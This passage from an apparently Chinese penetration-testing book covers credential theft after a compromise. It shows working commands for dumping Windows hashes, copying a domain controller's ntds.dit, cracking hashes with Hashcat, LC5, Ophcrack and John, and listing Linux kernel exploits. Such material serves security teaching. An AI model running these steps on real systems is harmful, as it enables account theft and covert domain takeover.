图 1-4 使用 PwDump 获取本地账号的 Hash 值

2.使用 PwDump 导出账号信息实例

使用命令“QuarksPwDumpv0.2b.exe -dhl -o 1.txt”将导出本地 Hash 值到当前目录下的 1.txt 文件

中。如图 1-5 所示,有 3 个账号导出到 1.txt 文件中。打开 1.txt 文件,可以看到导出 Hash 值的具体

账号和值。



9





网络攻防实战研究:漏洞利用与提权



图 1-5 导出本地账号信息到文件

3.配合 Ntdsutil 工具导出域控密码

Ntdsutil.exe 是一个为 Active Directory 提供管理设施的命令行工具。可使用 Ntdsutil.exe 进行

Active Directory 的数据库维护,管理和控制单台主机操作,创建应用程序目录分区,以及删除由未

使用 Active Directory 安装向导(DCPromo.exe)成功降级的域控制器留下的元数据。Ntdsutil.exe 还

可以用来获取域控数据库 ntds.dit 文件,具体命令如下。

(1)创建快照

ntdsutil snapshot "activate instance ntds" create quit quit

(2)使用 Ntdsutil 挂载活动目录的快照

ntdsutil snapshot "mount {GUID}" quit quit

{GUID}是动态获取的,如图 1-6 所示。



图 1-6 导出快照文件

(3)复制快照的本地磁盘

copy MOUNT_POINT\windows\NTDS\ntds.dit c:\ntds.dit

(4)卸载快照

ntdsutil snapshot "unmount {GUID}" quit quit 10





第 1 章 提权基础

(5)删除快照

ntdsutil snapshot "delete {GUID}" quit quit 使用命令“QuarksPwDump.exe --dump-hash-domain --ntds-file c:\ntds.dit”将导出的 ntds.dit 文件

中 Hash 值全面导出。一个完整的实例如下。

tdsutil snapshot "activate instance ntds" create quit quit ntdsutil snapshot "mount {a0455f6c-40c3-4b56-80a0-80261471522c}" quit quit 快照{5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}已挂接为 C:\$SNAP_201212082315_VOLUMEC$\,

代码如下。

copy C:\$SNAP_201212082315_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit ntdsutil snapshot "unmount {5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}" quit quit

ntdsutil snapshot "delete {5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}" quit quit

QuarksPwDump.exe --dump-hash-domain --ntds-file c:\ntds.dit 说明

获取 Hash 值最好在同一台服务器上执行,即将 QuarksPwDump.exe 直接放在导出 ntds.dit 的服

务器上执行导出命令。如果仅仅将 ntds.dit 复制后下载到本地,可能会出现无法读取的错误。网上也

曾经出现一个 NTDS.dit 密码快速提取工具 NTDSDump,读者可以自己进行测试。如果想下载 ntds.dit 到本地恢复,还需要执行“reg save hklm\system system.hive”命令,将 system.hive 和 ntds.dit 全部复



制到本地进行域控密码的获取。



1.2.4 使用 PwDump 获取系统账号和密码

在网络攻击中,通过一些溢出程序成功溢出被攻击计算机后,最重要的一个步骤就是获取该计

算机中的用户账号和密码。特别是在成功控制操作系统为服务器的计算机以后,获取系统中的账号

和密码更是攻击者的首要任务。使用计算机中用户原来的账号和密码登录 3389 终端,优于在系统中

增加或者克隆账号,因为在系统中增加或者克隆账号容易被发现,从而导致被控计算机丢失。获取

系统账号和密码的方法很多,本案例使用比较流行的 PwDump 和 LSASecretsView 来获取系统中的账

号和密码。

1.上传文件到欲获取密码的计算机中

PwDump 4.02 版本中有两个文件:一个是 Pwd4.dll,另外一个是 Pwdump4.exe(在早期版本中,

其 DLL 文件为 lsaext.dll)。将这两个文件上传到欲获取账号和密码的计算机的系统目录下。

2.在 Shell 中执行获取密码的命令

本案例中通过 Radmin 的 Telnet 来执行命令。到系统根目录中执行“pwd4 /l /o:*.*.*.82.sam”命

令,将系统中的账号和密码信息导出到*.*.*.82.sam 文件。导出成功后,会给出一些提示信息,如操

作系统版本情况及有多少个用户等,如图 1-7 所示,然后将其 sam 文件传输回本地计算机。



11





网络攻防实战研究:漏洞利用与提权



图 1-7 执行获取密码的命令

说明

本例中直接将 Pwdump4.exe 的名称更改为“pwd4.exe”,是为了在操作中少输入字母。

“pwd4”后面的参数“/l”表示导出到本地,“/o:filename”表示输出到 filename 文件。



1.2.5 使用 SAMInside 获取及破解 Windows 系统密码

在通过 SQL 注入等方式获取网站的 WebShell 后,就可以利用系统的各种漏洞进行提权,提权成

功后,就可以通过远程终端登录系统。此时,为了长期控制或者进一步渗透网络,攻击者需要获取

系统正常用户的密码。获取系统密码 Hash 值的软件很多,在本节中主要介绍如何使用 SAMInside 来获取系统的 Hash 值,以及如何结合彩虹表快速破解操作系统用户的密码。

1.下载和使用 SAMInside

SAMInside 的官方下载地址为 http://www.insidepro.com/download/saminside.zip,目前最新版本为

2.7.0.2,该版本中不再提供 GetHashes 工具。官方提供的是试用版本,一些高级功能无法使用,但并

不影响获取系统密码 Hash 值。SAMInside 可以获取包括 Windows Server 2008 以下版本操作系统的

用户密码 Hash 值。在获取这些 Hash 值后,可以通过彩虹表或者字典等进行破解,进而获取系统的

密码。SAMInside 不需要安装,将下载的 saminside.zip 解压到本地磁盘即可使用。

2.使用 Scheduler 导入本地用户的 Hash 值

直接运行 SAMInside,如图 1-8 所示,单击第 3 个小图标,然后选择“Import Local Users via Scheduler”选项,将本地用户的 Hash 值导出。虽然 SAMInside 中还提供了从 LSASS 导出本地用户

的机制,但该方法在一些操作系统中容易出错(这两个方法均可使用)。



图 1-8 使用 Scheduler 导入本地用户的 Hash 值

12





第 1 章 提权基础

3.查看导入的 Hash 值

在使用 SAMInside 导入本地用户的 Hash 值时,必须具有管理员权限。在一些情况下,管理员会

对磁盘进行权限限制,这时需要为 SAMInside 授权后才能获取系统用户的 Hash 值。如图 1-9 所示,

一共获取了 4 个用户的 Hash 值,该值按照 User、RID、LM-password、NT-password、LM-hash、NT-hash 和 Description 的顺序进行显示。如果 LM-password 列和 NT-password 列显示为“Disabled”,则表示

该账户被禁用了。超过 14 位的密码在 LM-password 列中会以全 0 显示(在老版本中以“AA3D”开

头的值也表示密码位数超过 14 位,例如“simeon:1005:AAD3B435B51404EEAAD3B435B51404EE: 5E9C2FAAE669F5D06F33014E33AC2CFC:::”,其密码就超过了 14 位)。



图 1-9 查看导入的 Hash 值

4.导出系统用户的 Hash 值

单击“File”→“Export Users to PWDUMP File”选项,将获取系统用户的密码 Hash 值导出为

一个文件,其内容如图 1-10 所示,然后将该文件导入 Ophcrack 中进行破解。SAMInside 本身也能破

解系统 Hash 值,不过破解速度和效果不如 Ophcrack。对一些简单的密码,SAMInside 可以直接显示,

对此感兴趣的读者可以直接尝试使用 SAMInside 破解系统 Hash 值。



图 1-10 导出系统用户的 Hash 值

1.2.6 使用 oclHashcat 破解 Windows 系统账号密码

oclHashcat 号称“世界上最快的密码破解工具”及“世界上第一个和唯一的基于 GPGPU 规则的

引擎”,提供免费多 GPU(高达 128 个 GPU)、多 Hash、多操作系统(Linux 和 Windows 本地二进制

文件)、多平台(OpenCL 和 CUDA 支持)、多算法,资源利用率低,基于字典攻击,支持分布式破解。

oclHashcat for AMD 的下载地址为 http://hashcat.net/files/oclHashcat-1.31.7z。oclHashcat for Nvidia 的下载地址为 http://hashcat.net/files/cudaHashcat-1.31.7z。

oclHashcat 系列软件在硬件上支持使用 CPU、NVIDIA GPU、ATI GPU 进行密码破解,在操作系

统上支持 Windows、Linux 平台,并且需要安装官方指定版本的显卡驱动程序(如果驱动程序版本不



13





网络攻防实战研究:漏洞利用与提权

对,可能导致程序无法运行)。NV users GPU 破解驱动需要 ForceWare 331.67 及更高版本,AMD 用

户则需要 Catalyst 14.9 及更高版本。可以通过 Catalyst 自动侦测和下载检测工具来检测当前系统应

该下载哪个版本,下载地址为 http://support.amd.com/en-us/download/auto-detect-tool,还可以通过 360

的软件管理界面直接搜索“Catalyst”,选择合适的版本安装。

(1)准备工作

① 准备 Kali Linux 操作系统或者虚拟机。

② 准备 Windows 7 操作系统或者虚拟机。

③ 准备字典。可以自己生成字典工具,也可以从网上获取字典。推荐字典下载网站:http://

contest-2010.korelogic.com/wordlists.html,http://www.insidepro.com/dictionaries.php。

④ 在 Windows 7 中新增一个用户 antian365,设

置其密码为 password。单击“开始”→“运行”选

项,输入“cmd”并按“Shift+Ctrl+Enter”组合键,

输入命令“net user antian365 password /add”

(以管理

员权限启动 cmd.exe 程序也可),执行成功后如图

1-11 所示。测试完毕,可以通过“net user antian365

/del”命令删除该账号。



⑤ 下载。SAMInside 官方网站目前已经停止

图 1-11 添加测试账号

SAMInside 软件的开发了,读者可以到华军软件园

下载,地址为 http://gwbnsh.onlinedown.net/down2/saminside.v2.6.1.0.chs.rar。

(2)获取密码 Hash 值

有多个软件可以获取 Windows 7 操作系统的 Hash 值,例如 WCE、mimikatz、Cain 及 SAMInside。

在 Windows Vista 及以上版本中都有 UAC 权限控制机制。UAC(User Account Control,用户账户控

制)是微软为提高系统安全性在 Windows Vista 中引入的技术,它要求用户在执行可能影响计算机运

行或更改影响其他用户设置的操作之前提供权限或管理员密码。通过在这些操作启动前对其进行验

证,UAC 可以帮助防止恶意软件和间谍软件在未经许可的情况下在计算机上进行安装或对计算机进

行更改,因此获取密码的工具都需要以管理员身份运行。

选择 SAMInside.exe 程序,单击右键,在弹出的快捷菜单中选择“以管理员身份运行”选项,然

后在 SAMInside 程序主界面上单击第 3 个图标,选择“Import local user using Scheduler”选项来获取

密码,如图 1-12 所示,即可获取本机所有账号的密码 Hash 值等信息。



图 1-12 获取密码 Hash 值

14





第 1 章 提权基础

(3)整理 Hash 值

在 SAMInside 中可以导出所有账号的 Hash 值,也可以复制单个账号的 Hash 值。单击“File”

菜单中的“导出用户到 pwdump 文件”命令,即可导出获取的 Hash 值。也可以选择 Hash 值,单击

右键,在弹出的快捷菜单中选择“复制”→“NT hash”选项获取 NT Hash 值。对于 Windows Vista 以上版本的操作系统,即使是普通的密码,也是以

“AAD3B”开头的一串字符。这个值目前在 Ophcrack

等工具中无法破解,在 SAMInside 中会显示为一串

“0”字符。将 NT Hash 值整理到一个文件中,将其

命名为“win2.hash”,如图 1-13 所示。

(4)破解 Hash 值

将准备好的字典 ptemp.txt 和需要破解的 Hash 值

文件 win2.hash 复制到 oclHashcat32 程序所在文件夹



下,执行如下命令进行破解。

图 1-13 整理需要破解的 Hash 值

oclHashcat32 -m 1000 -a 0 -o winpass1.txt --remove win2.hash ptemp.txt

“-m 1000”表示破解密码类型为 NTLM;“-a 0”表示采用字典破解;“-o”表示将破解后的结果

输出到 winpass1.txt 中;“--remove win2.hash”表示将移除破解成功的 Hash 值;“ptemp.txt”为密码

字典文件。

如果密码字典文件较大,可能会显示“[s]tatus [p]ause [r]esume [b]ypass [q]uit =>”。输入“s”将

显示破解状态,输入“p”将暂停破解,输入“r”将继续破解,输入“b”表示忽略破解,输入“q”

表示退出。所有成功破解的结果都会自动保存在 oclHashcat.pot 文件中。破解结束,会显示如图 1-14

所示的信息。



图 1-14 显示破解信息



15





网络攻防实战研究:漏洞利用与提权

(5)查看破解结果

运行“type winpass1.txt”命令查看破解结果,如图 1-15 所示,该账号的密码为“password”。



图 1-15 查看密码破解结果

oclHashcat 功能强大,能够破解常见的密码加密算法。Discuz!论坛密码算法 md5(md5($pass).$salt) 的破解命令为“oclHashcat32 -m 2611 -a 0 -o winpass1.txt --remove dz.hash ptemp.txt”;Linux SHA512

加密的破解命令为“oclHashcat32 -m 1800 sha512linux.txt p.txt”;Linux 下的 MD5 加密破解命令为

“oclHashcat32 -m 500 linuxmd5.txt p.txt”。

1.2.7 使用 L0phtCrack 破解 Windows 及 Linux 密码

L0phtCrack(LC)是一款强大的密码审计工具,目前最新版本为 6.0.20,官方下载地址为

http://www.l0phtcrack.com/lc6setup_v6.0.20.exe。LC6 的官方版本只能试用 15 天,且功能有限制。目

前使用较多的是 L0phtCrack 5.02 注册版,简称 LC5。它是一款网络管理员的必备的工具,可以用来

检测 Windows、UNIX 用户是否使用了不安全的密码,同时也是最好、最快的 Windows NT/2000/XP

及 UNIX 管理员账号密码破解工具之一。事实证明,简单的或容易被破解的管理员密码是最大的安

全威胁,因为攻击者在破解后往往能以合法的身份登录计算机系统而不被察觉。

1.破解本地账号和密码

本地账号和密码一般用于审计、测试及查看密码强度等,属于展示性质。

(1)安装与汉化注册

直接双击并运行 LC5setup.exe,然后按照提示进行安装和设置。由于安装过程比较简单,这里

就不赘述了。

(2)选择取得加密口令的方式

初次使用 LC5 时会自动运行 LC5 向导。如果不想在每次启动时都运行这个向导,可以选中“下

次启动不再显示此向导”选项(如果是第一次使用 LC5,建议仔细阅读向导前面的文字,对建立会

话的过程有一个大致的理解)。来到“取得加密口令”窗口,如图 1-16 所示,这里列出了 LC5 破解

密码的 4 种途径,因为笔者具有本机管理员权限,所以默认选择第一种方式。

(3)选择破解方法

在“选择破解方法”窗口中有“快速口令破解”、“普通口令破解”、“复杂口令破解”和“自定

义”4 个选项,如图 1-17 所示,可以根据实际情况,按照“先简单,后复杂”的模式进行选择。

(4)选择报告风格

默认分为 5 种会话,可以全部选中。选择报告风格主要便于在破解过程中直观显示破解结果等

信息,如图 1-18 所示。

(5)开始破解

向导设置完毕,LC5 会将本地账号全部导入。单击“会话”→“开始破解”选项或者菜单栏下

面的三角形图标,开始对系统账号进行破解。如图 1-19 所示,获取本地账号 3 个,其中 administrator 16





第 1 章 提权基础

和 antian365 为有密码的账号。





图 1-16 选择密码导入方式 图 1-17 选择破解方法





图 1-18 选择报告风格 图 1-19 开始破解口令

在 LC5 的用户主界面会显示域、机器名、用户名、LM 认证口令等(也就是在“选择报告风格”

窗口选定的内容)。用户可以根据实际需要,单击“查看”菜单,在“选择显示的项目”区域重新进

行设置。在主界面上,最重要的就是显示破解出来的口令。

2.导入 Hash 文件进行破解

(1)获取系统 Hash 值

有关获取系统 Hash 值的内容在前面已经介绍过,这里就不赘述了。将获得的 Hash 值保存为

TXT 文件,单击“会话”→“导入”选项,出现如图 1-20 所示的窗口,在其中选择“从文件导入”

→“从 PWDUMP 文件”选项,选择 Hash 文件进行导入。在从文件导入中可以看到 4 个选项,分别

是“从 SAM 文件”、“从 LC4 文件”(LC5 早期版本)、“从 PWDUMP 文件”及“从 UNIX Shadow 文件”(破解 Linux 密码)。

从 SAM 文件:关于 SAM 表的位置,Windows NT/2000 位于 C:\WinNT\system32\config\目录

下,Windows XP/2003/Vista 位于 C:\Windows\system32\config\目录下。要想获得 SAM 表,

可以通过光盘或者其他工具进入 DOS 环境,将其复制出来。



17





网络攻防实战研究:漏洞利用与提权



图 1-20 选择导入 Hash 值

从 LC4 文件:LC4 是 LC5 的前一个版本。默认 LC 将未完成的任务保存成以“.LCs”结尾

的文件,这样就可以在下次直接打开已经保存的任务继续破解,省去了每次都要重复破解的

麻烦。LC5 是兼容 LC4 的,如果有 LC4 未完成的任务,或者在某种特定情况下只能用 LC5

将用户信息读出,先保存成 LC4 文件再用 LC5 读取也不失为一种好办法。

从 PWDUMP 文件:通过其他 Hash 获取工具获得 Hash 值后保存的文本。

从 UNIX Shadow 文件:在*nix 中,用户的信息(包括用户密码)本来都是存放在/etc/passwd 中的。但是,基于很多原因,例如其他应用程序需要将用户的用户名转换为 uid,/etc/passwd

就必须可以被所有人访问。所以,LCS 引用了一种新的机制,将所有用户的密码信息存放

在/etc/shadow 中,而这个文件只有在获得 root 权限后才可以读取,这样就保证了系统的安

全性。如果我们想要使用 LC5 对*nix 下的用户密码强壮性进行检测,就必须得到那台主机

的/etc/shadow 文件。

(2)设置会话选项

会话选项中包括 LC5 密码破解的所有选项,主要是字典破解、混合字典攻击及暴力破解和散列

攻击的设置,如图 1-21 所示。早期 Windows 2000 及 Windows XP 操作系统使用较多,后期出现了

Windows Server 2008 及 Windows Server 2012 等高级版本,因此 Hash 值前半部分为“AA3D”的字

符串是无法破解的,将显示为“no password”,这时就需要勾选“破解 NTLM 认证口令”复选框。

复杂字典破解:LC5 默认自带 2 个字典,在“字典破

解”设置区选中相应的选项,然后添加相应的密码字

典文件即可。一般来讲,需要用户自己生成字典,特

别是有针对性地生成字典。常用的字典生成器有黑客

字典、木头字典生成器、易优字典生成器、密码字典

生成器、超级字典生成器和社工字典生成器等。

混合字典的攻击:混合字典就是把现在字典里的单词

进行随机组合,再次去匹配密码。选中这一项,破解

率会大大提高。在单独使用字典失败的情况下,可以

尝试使用这种方法。

彩虹表:预先将密码 Hash 值按照一定的规则生成文

件,在使用 LC5 破解时直接比对文件中的值。很多网

站提供彩虹表的下载。在“预定”设置区勾选“使用”



复选框,“散列文件列表”按钮将变为可用状态。单

图 1-21 设置密码破解选项

18





第 1 章 提权基础

击该按钮,打开“预定散列列表”对话框,如图 1-22 所示。

暴力破解:如图 1-23 所示,先勾选“使用”复选框,这样右边的“字符设置”下拉列表将

处于可用状态。估计一下需要破解的密码可能使用的字符可以大大提高效率。如果知道要破

解的密码是 11 位,那么是手机号的可能性很大;如果了解要破解的密码的人的情况,例如

生日、姓名、喜欢的宠物,则最好使用自定义字符。在进行暴力破解时,一般选择先易后难

的模式,即先字母,后字母+数字+普通符号,最后是字母+数字+所有符号。





图 1-22 添加彩虹表 图 1-23 使用暴力破解

3.Linux 密码破解

笔者比较熟悉 Linux,所以就拿 Linux 来举例子。首先要明确的一点是:*nux 下的密码文件是

/etc/shadow,不是/etc/passwd。下面演示一下远程获取的过程。

在使用 LC5 获取*nux 的密码的时候,是通过 SSH 方式登录服务器获取的,所以在使用 LC5 远

程获取/etc/shadow 文件时,一定要确保有管理员权限,并且远程服务器一定要开启 SSH 服务。

(1)从远程计算机导入

打开“导入”对话框,选择“远程计算机”选项,单击“增加”按钮,弹出“从远程电脑导入”

对话框,选择 UNIX 系统,如图 1-24 所示。

(2)输入证书

单击“确定”按钮,弹出“输入证书”对话框,如图 1-25 所示,输入管理员的用户名和密码,

并保存这些证书供以后使用。





图 1-24 从远程计算机导入 图 1-25 输入证书



19





网络攻防实战研究:漏洞利用与提权

(3)设置破解方案

打开会话选项窗口,定制破解方案。在这里使用字典破解、混合字典攻击和暴力破解 3 种模式,

如图 1-26 所示。

(4)开始破解

如图 1-27 所示,将远程计算机中的用户全部导入,开始破解。注意右半部分的进度,b 用户

的密码被破解出来了。此时,破解进度还没到一半,时间不到 20 秒,总的来说速度很快,效果也

挺好。





图 1-26 设置密码破解方式

图 1-27 破解 Linux 密码

1.2.8 使用 Ophcrack 破解系统 Hash 密码

在密码破解中使用最多的工具是 LC5,但 LC5 的破解时间相对较长。本节将给出一个在 5 分钟

内破解不超过 14 位系统密码的例子(绝大多数情况下仅需要几十秒)——这意味着当一个系统存在

漏洞时,攻击者可以在很短的时间内控制并渗透内部网络!

1.安装 Ophcrack

Ophcrack 的安装过程非常简单,按照提示安装即可。在安装过程中不要下载彩虹表。在安装设

置中会提供 3 个下载选项,分别用于下载 Windows XP (380MB)、Windows XP (703MB)和 Windows Vista(461MB)彩虹表,如图 1-28 所示。笔者在安装过程中选择后,仅下载文件就花费了数小时。

这个表可以在程序安装完成后再下载,否则 Ophcrack 要在彩虹表下载完成后才能使用。

2.使用 Ophcrack

运行 Ophcrack,如图 1-29 所示,该软件主要有“Load”、

“Delete”、

“Save”、

“Tables”、

“Crack”、

“Help”及“Exit”7 个模块。“Load”主要负责装载 Hash 或者 SAM 文件,“Delete”主要用于删除破

解条目,“Save”主要用于保存破解结果或者破解 Session,“Tables”主要用于设置彩虹表,“Crack”

用于开始执行破解,“Help”用于查看帮助文件,“Exit”用于退出。

20





第 1 章 提权基础





图 1-28 安装时建议不下载彩虹表

图 1-29 Ophcrack 软件主界面

3.下载彩虹表

可以到 Ophcrack 提供的彩虹表下载网站 http://ophcrack.sourceforge.net/tables.php 下载彩虹表,在

本案例中分别下载了 3 个免费的彩虹表。

4.设置彩虹表

在 Ophcrack 主界面单击“Tables”按钮,就会出现如图 1-30 所示的“Table Selection”界面。在

默认状态下,所有彩虹表都没有安装。通过该界面我们了解到,一共有 8 个彩虹表,其中有 3 个是

免费的。

单击并选中其中的一个条目,在本例中选择“XP free fast”,然后单击“Install”按钮,系统会自

动访问 Ophcrack 的安装目录。由于本例是将 3 个压缩文件解压到 F 盘,如图 1-31 所示,因此选择

“tables”目录,一次性安装获取的另外 2 个彩虹表。





图 1-30 选择彩虹表 图 1-31 选择要安装的彩虹表



21





网络攻防实战研究:漏洞利用与提权

注意

在 Ophcrack 中,彩虹表的上级目录名称必须为“tables”,否则彩虹表安装将会失败。

彩虹表安装成功后,其条目会变成绿色,而且可以查看一共有多少个表,如图 1-32 所示。



图 1-32 彩虹表安装成功



5.准备破解材料

这里的破解材料主要是指通过 GetHashes、PwDump 等软件获取的系统 Hash 密码值。

6.开始破解

(1)加载 SAM 文件

单击“Load”按钮,选择“PWDUMP file”选项,如图 1-33 所示。一共有 6 个选项,第 1 个主

要用于对单个 Hash 值的破解,第 2 个是对获取的 PwDump 文件进行破解,第 3 个是对加密的 SAM

文件进行破解,第 4 个和第 5 个主要用来审计或者破解本地和远程 Hash 值。



图 1-33 选择破解类型

22





第 1 章 提权基础

(2)查看密码 Hash 值

在本例中选择一个已经 PwDump 的文件,如果 PwDump 系统的 Hash 密码没有错误,则会在

Ophcrack 主界面中正确显示。如图 1-34 所示,在主界面中分别显示了“User”、“LM Hash”、“NT

Hash”、“LM Pwd1 ”、“LM Pwd2”及“NT Pwd”等信息。



图 1-34 显示获取的密码 Hash 值

(3)清理无用的 Hash 值

在本例中,“IUSR_XFFZD-R1”、“TWWM_XFZD-SER1”和“TsInternetUser”这 3 个用户是系

统自身的,在口令破解中基本没有用处(除非有人对该账号进行了克隆),因此可以分别选中需要删

除的账号,然后单击主界面上的“Delete”按钮,删除这 3 个无用的账号,接着添加“king$”账号,

仅留下并破解管理员账号。清理完毕,如图 1-35 所示。



图 1-35 清理无用的 Hash 值



23





网络攻防实战研究:漏洞利用与提权

(4)执行破解

单击“Crack”案例开始破解,很快就得到密码“www119”,其“LM Pwd1”值与“NT Pwd”

值相同,破解密码的时间仅为 37 秒,如图 1-36 所示。



图 1-36 破解系统密码成功

(5)查看破解统计信息

在主界面中单击“Statistics”标签,可以查看破解 Hash 值的信息,如图 1-37 所示。



图 1-37 查看所破解密码的有关统计信息

(6)破解参数设置

单击“Preferences”标签,打开破解参数设置窗口,如图 1-38 所示,可以设置破解的线程、破

解方式及是否隐藏用户名等。

24





第 1 章 提权基础



图 1-38 设置破解参数

1.3 使用 John the Ripper 破解 Linux 密码

John the Ripper(以下简称“John”)是 Kali Linux 的十大安全工具之一,是一款基于字典的密码

破解工具,官方网站为 http://www.openwall.com/john/,目前适用于 Windows 的版本为 john179j5w,

适用于 Linux 的版本为 John 1.8.0。John 的内容全是密码的单词表,它使用单词表中的每一个密码,

试图破解特定的密码散列。换句话说,John 使用暴力破解,其破解效率与字典和密码设置强度有关。

从总体上看,John 是一款不错的 Linux 密码暴力破解工具,在 Windows 和 Linux 下都有图形界面。

Windows 图形界面可以访问 http://openwall.info/wiki/john/johnny 下载。

1.3.1 准备工作

1.下载并解压

访问 John 的官方网站,下载 Windows 环境下的 john179j5w 版本(http://www.openwall.com/john/

g/john179j5w.zip),将文件直接解压到 run 目录下。

2.字典文件

需要提前准备密码字典文件,一个密码占一行。如果是有针对性的破解,可以收集网站的所有

密码,进行社工组合。

3.整理需要破解的密码文件

Linux 密码涉及两个文件,分别是/etc/passwd 和/etc/shadow。先将 passwd 和 shadow 文件下载,

或者读取其内容并保存为相应的文件,然后将用户名后面的字符串复制到一个 txt 文件中(例如命名

为 shadow.txt),如图 1-39 所示。



25





网络攻防实战研究:漏洞利用与提权



图 1-39 整理需要破解的 Linux 密码

1.3.2 John 的 4 种破解模式

下面介绍 John 的 4 种破解模式。

1.字典文件破解模式(Wordlist Mode)

这是 John 所支持的破解模式中最简单的一种,我们要做的唯一工作就是告诉 John 字典文件在

哪里(字典文件是文本文件,每行一个单字,代表尝试的密码),以便 John 取出破解。在字典文件

破解模式里,可以使用“字词变化”功能让每个读入的单字自动套用这些规则,以提高破解机率。

2.简单破解模式(Single Crack)

简单破解模式是针对将账号作为密码使用的“懒人”所设计的。如果一个使用者的账号是“john”,

密码也为“john”,那么在简单破解模式里 John 会拿密码文件内“账号”列的相关信息来破解密码,

并且将多种字词变化规则套用到“账号”内,以提高破解的机率。例如,对账号“john”,会尝试用

“john”、“john0”、“njoh”、“j0hn”等来破解。

3.增强破解模式(Incremental Mode)

这是 John 功能最强大的破解模式,它会自动尝试所有可能的字符组合,然后将其当作密码来破

解。这个破解模式所需要的时间非常长,因为尝试组合字符要耗费非常多的时间,所以 John 定义了

一些字符频率表(Character Frequency Tables)来帮助破解。简言之,这种破解方法就是暴力破解法,

把所有可能的密码组合都测试一次,以得到正确的结果。

4.外挂破解模式(External Mode)

这种破解模式让使用者可以自己用 C 语言编写一些破解模式程序,然后将其挂在 John 里面使

用。其实所谓“破解模式程序”就是一些用 C 语言设计的函数,其功能就是产生一些单字来让

John 尝试破解。运行 John,当载入破解模式程序时会自动编译这些 C 语言函数并使用它们。

在默认情况下,John 使用 passwd.lst 作为攻击用的字典文件。我们可以编辑这个文件或创建自

己的口令文件,命令如下。

john

-single

passwd

//单一模式

john -wordfile:bigdict.dic passwd





//字典破解模式

john -wordfile:bigdict.dic -rules passwd

//字典加规则进行破解

john

-i:all

passwd

//增强模式破解

john

-external:double

passwd

//外挂模式破解

1.3.3 使用 John 破解 Linux 密码

将密码字典文件及其需要破解的 Shadow 放在 John 目录的 run 文件夹中,然后根据情况进行破

26





第 1 章 提权基础

解。password.dic 为密码字典,shadow.txt 是需要破解的 Linux 密码文件。

1.简单密码破解

“John -single shadow.txt”和“john shadow.txt”命令是最直接、最简单的破解方式。如图 1-40 所

示,简单密码的破解效果不一定很好,主要是根据用户名来做一些变化。例如,“antian”是用户名,

使用简单模式,可能会设计密码“antian123”、“antian456”等来破解“傻瓜型”的密码。



图 1-40 使用简单模式进行破解

2.使用密码字典进行破解

这是 John 破解模式中最简单的一种,需要指定字典位置,如果没有指定路径,则默认是在当前

目录下。在字典破解模式里,可以使用字词变化功能在每个读入的单字中自动套用这些规则,以提

高破解机率,命令如下。

john -wordlist=password.dic shadow.txt

或者

john –w:pass.txt shadows.txt

或者

john.exe -wordlist=D:\john\dic\password.dic D:\john\shadow\shadow.txt 密码字典可以访问 https://wiki.skullsecurity.org/Passwords 下载。一般来讲,如果有特定信息组合

的字典,破解效果会比较好,也就是说,要收集一切可能是被破解用户密码的信息(目前有社工字

典生成器可供选择)。本例随机使用一些组合字典,如图 1-41 所示,对 shadow.txt 文件中的密码进行

破解,破解成功的会显示密码和用户名。如果需要查看详细信息,可以打开 John 目录下的 john.pot 文件,如图 1-42 所示,会显示密码值和破解的密码明文。





图 1-41 显示破解成功的用户名和密码

图 1-42 查看 john.pot 文件

3.使用规则模式+字典进行破解

john -w: password.dic -rules shadow.txt

rules 在 john.ini 文件中定义。



27





网络攻防实战研究:漏洞利用与提权

1.3.4 查看破解结果

使用“john –show shadow.txt”命令可以查看破解结果。

破解 Linux 密码,首先需要使用 unshadow 命令,得到一个破解程序识别的口令文件,然后将

/etc/passwd 和/etc/shadow 文件组合起来,执行“unshadow /etc/passwd /etc/shadow > passwd”命令,

再使用 John 进行破解。

1.4 Linux 提权辅助工具 Linux Exploit Suggester

Linux Exploit Suggester 是一款根据操作系统版本号自动查找相应提权脚本的工具,如果不带任

何参数运行该脚本,将执行“uname -r”命令返回操作系统发行版本信息,也可以手工输入“-k”参

数查找指定版本号。Linux Exploit Suggester 的官方下载地址为 https://github.com/PenturaLabs/Linux_

Exploit_Suggester,该程序 2014 年以后就没有更新了。

1.4.1 列出可能的漏洞

执行如下命令,列出内核版本为 Linux 3.0.0 的所有可能漏洞,如图 1-43 所示。漏洞利用程序和

脚本可以在 http://www.exploit-db.com/网站下载。

perl ./Linux_Exploit_Suggester.pl -k 3.0.0

或者

./Linux_Exploit_Suggester.pl -k 3.0.0



图 1-43 列出所有可用的漏洞利用程序

如果执行的是默认程序,则自动识别当前内核版本,并提示可以利用的漏洞程序。例如,在

CentOS Release 5.6 (Final) 内核版本 2.6.18-238.el5 下运行该程序,将得到如下结果。

sh-3.2$ ./Linux_Exploit_Suggester.pl

Kernel local: 2.6.18

Searching among 65 exploits...

Possible Exploits:

[+] american-sign-language

CVE-2010-4347

Source: http://www.securityfocus.com/bid/45408/

[+] can_bcm

28

第 1 章 提权基础

CVE-2010-2959

Source: http://www.exploit-db.com/exploits/14814/

[+] do_pages_move

Alt: sieve CVE-2010-0415

Source: Spenders Enlightenment

[+] ftrex

CVE-2008-4210

Source: http://www.exploit-db.com/exploits/6851

[+] half_nelson

Alt: econet CVE-2010-3848

Source: http://www.exploit-db.com/exploits/6851

[+] half_nelson1

Alt: econet CVE-2010-3848

Source: http://www.exploit-db.com/exploits/17787/

[+] half_nelson2

Alt: econet CVE-2010-3850

Source: http://www.exploit-db.com/exploits/17787/

[+] half_nelson3

Alt: econet CVE-2010-4073

Source: http://www.exploit-db.com/exploits/17787/

[+] msr

CVE-2013-0268

Source: http://www.exploit-db.com/exploits/27297/

[+] pipe.c_32bit

CVE-2009-3547

Source: http://www.securityfocus.com/data/vulnerabilities/exploits/

36901-1.c

[+] pktcdvd

CVE-2010-3437

Source: http://www.exploit-db.com/exploits/15150/

[+] reiserfs

CVE-2010-1146

Source: http://www.exploit-db.com/exploits/12130/

[+] sock_sendpage

Alt: wunderbar_emporium CVE-2009-2692

Source: http://www.exploit-db.com/exploits/9435

[+] sock_sendpage2

Alt: proto_ops CVE-2009-2692

Source: http://www.exploit-db.com/exploits/9436

[+] udp_sendmsg_32bit

CVE-2009-2698

Source: http://downloads.securityfocus.com/vulnerabilities/exploits/

36108.c

[+] video4linux

CVE-2010-3081

Source: http://www.exploit-db.com/exploits/15024/

[+] vmsplice1

Alt: jessica biel CVE-2008-0600

Source: http://www.exploit-db.com/exploits/5092



29





网络攻防实战研究:漏洞利用与提权

1.4.2 下载可利用的脚本

